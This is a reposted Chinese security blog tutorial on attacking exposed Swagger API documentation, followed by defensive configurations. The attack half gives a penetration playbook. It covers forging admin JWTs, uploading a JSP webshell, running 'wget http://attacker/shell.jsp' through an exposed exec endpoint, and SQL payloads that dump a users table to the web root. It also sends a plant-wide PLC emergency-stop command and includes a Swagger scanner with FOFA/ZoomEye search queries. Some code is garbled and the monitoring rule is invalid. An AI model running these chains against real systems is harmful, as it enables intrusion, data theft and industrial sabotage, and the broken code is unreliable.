swagger 接口未授权漏洞怎么玩儿!

华盟原创文章投稿奖励计划

一、漏洞原理与危害评级

1.1 Swagger接口暴露路径

# 常见未授权访问端点
/v2/api-docs          # 核心API文档
/swagger-ui.html      # 可视化界面
/swagger.json         # 原始配置文件
/api/swagger          # 常见变体路径
/docs                 # SpringBoot默认路径

1.2 风险矩阵评估

暴露信息类型 危害等级 影响范围
API接口参数 高危 业务逻辑泄露
身份认证机制 严重 权限绕过可能
数据库操作接口 灾难级 数据泄露风险
服务器管理端点 灾难级 系统沦陷风险

二、四阶渗透利用技巧

2.1 初级利用:信息收集

// 从swagger.json提取的关键字段
{
"paths":{
    "/api/v1/user/search":{
      "get":{
        "parameters":[
          {"name":"phone","in":"query"},
          {"name":"idcard","in":"query"}
        ]
      }
    },
    "/internal/server/restart":{}
}
}

分析要点

  • • 敏感接口定位(如含internaladmin的路径)
  • • 隐私参数识别(手机号、身份证等字段)

2.2 中级利用:认证绕过

JWT密钥泄露场景

paths:
  /auth/login:
    post:
      responses:
        200:
          schema:
            $ref:'#/definitions/JwtToken'
definitions:
JwtToken:
    properties:
      token:
        example: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

攻击步骤

  1. 1. 使用jwt.io解码示例Token
  2. 2. 发现签名算法为HS256
  3. 3. 通过接口文档获取密钥硬编码线索
  4. 4. 伪造管理员Token访问内部接口

2.3 高级利用:命令执行链

{
  "/api/system/exec":{
    "post":{
      "parameters":[{
        "name":"command",
        "in":"body",
        "schema":{"type":"string"}
      }]
    }
},
"/file/upload":{}
}

组合攻击路径

上传Webshell获取写入路径执行命令拼接服务器控制

具体操作

  1. 1. 通过/file/upload接口上传恶意JSP文件
  2. 2. 使用/api/system/exec执行wget http://attacker/shell.jsp
  3. 3. 访问写入的Webshell获取控制权

2.4 终极利用:数据库接管

暴露的SQL接口

{
  "/db/query":{
    "post":{
      "parameters":[{
        "name":"sql",
        "in":"body",
        "required":true
      }]
    }
}
}

渗透步骤

  1. 1. 执行侦察语句:
{"sql":"SELECT table_name FROM information_schema.tables"}
  1. 2. 定位用户表:
{"sql":"SELECT column_name FROM information_schema.columns WHERE table_name='users'"}
  1. 3. 数据导出:
{"sql":"COPY (SELECT * FROM users) TO '/var/www/html/leak.csv'"}

三、自动化探测方案

3.1 指纹识别脚本

import requests

TARGETS = [
    "/swagger-ui.html", 
    "/swagger/v1/swagger.json",
    "/v3/api-docs"
]

defcheck_swagger(url):
    for path in TARGETS:
        try:
            resp = requests.get(url + path, timeout=5)
            if resp.status_code == 200:
                if"swagger"in resp.text or"openapi"in resp.text:
                    returnTrue
        except:
            continue
    return False

3.2 敏感接口扫描器

# 使用jq解析swagger.json
curl -s http://target/swagger.json | jq '.paths | keys[]' | grep -E '(admin|internal|manage|secret)'

3.3 企业级资产测绘

# FoFa高级语法
title="Swagger UI" && country="CN"
# 钟馗之眼搜索
app:"Swagger"

四、三大真实案例复盘

4.1 政务云数据泄露事件

攻击路径

未授权Swagger → 暴露公民查询接口 → 构造批量查询 → 下载17万条数据

技术亮点
利用/api/export接口的limit参数设置为0实现全量导出

4.2 金融系统入侵事件

攻击链

JWT密钥泄露 → 伪造管理员身份 → 访问资金划转接口 → 发起2300万异常转账

漏洞根源
Swagger文档中硬编码测试用密钥secretKey: "test123"

4.3 制造业工业控制系统入侵

渗透过程

  1. 1. 发现/plc/control接口
  2. 2. 构造设备停止指令:
{"command": "EMERGENCY_STOP", "machine_id": "all"}
  1. 3. 造成全厂生产线瘫痪6小时

五、企业级防御方案

5.1 访问控制策略

# Nginx配置示例
location ~* ^/(swagger|api-docs|docs) {
    satisfy any;
    allow 192.168.1.0/24;  # 内网IP段
    allow 10.10.0.1;       # 管理机IP
    deny all;
    auth_basic "Restricted";
    auth_basic_user_file /etc/nginx/.htpasswd;
}

5.2 生产环境净化

// SpringBoot配置
@Bean
public Docket api() {
    return new Docket(DocumentationType.SWAGGER_2)
        .enable(!Arrays.asList(env.getActiveProfiles()).contains("prod")) // 生产环境禁用
        .select()
        .apis(RequestHandlerSelectors.any())
        .paths(PathSelectors.any())
        .build();
}

5.3 敏感信息脱敏

# 使用swagger-annotations
@Operation(summary="用户查询")
@Parameter(
    name="idcard",
    description="身份证号",
    example="110***********1234"//自动脱敏
)

5.4 审计监控体系

# ELK监控告警规则
{
  "query": {
    "bool": {
      "must": [
        { "match": { "url.path": "/swagger-ui.html" } },
        { "range": { "source.ip": { "not_in": ["10.0.0.0/8"] } } }
      ]
    }
  }
}

六、漏洞修复验证清单

  1. 1. 环境检测
    • • 生产环境已禁用Swagger UI
    • • 测试环境开启HTTP认证
  2. 2. 访问控制
    • • 配置IP白名单限制
    • • 启用Basic身份认证
  3. 3. 内容安全
    • • 删除示例敏感数据
    • • 脱敏展示隐私字段
    • • 禁用危险接口文档
  4. 4. 监控审计
    • • 部署异常访问检测规则
    • • 建立API文档访问日志


文章来源:HACK之道

本文来源HACK之道,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表回复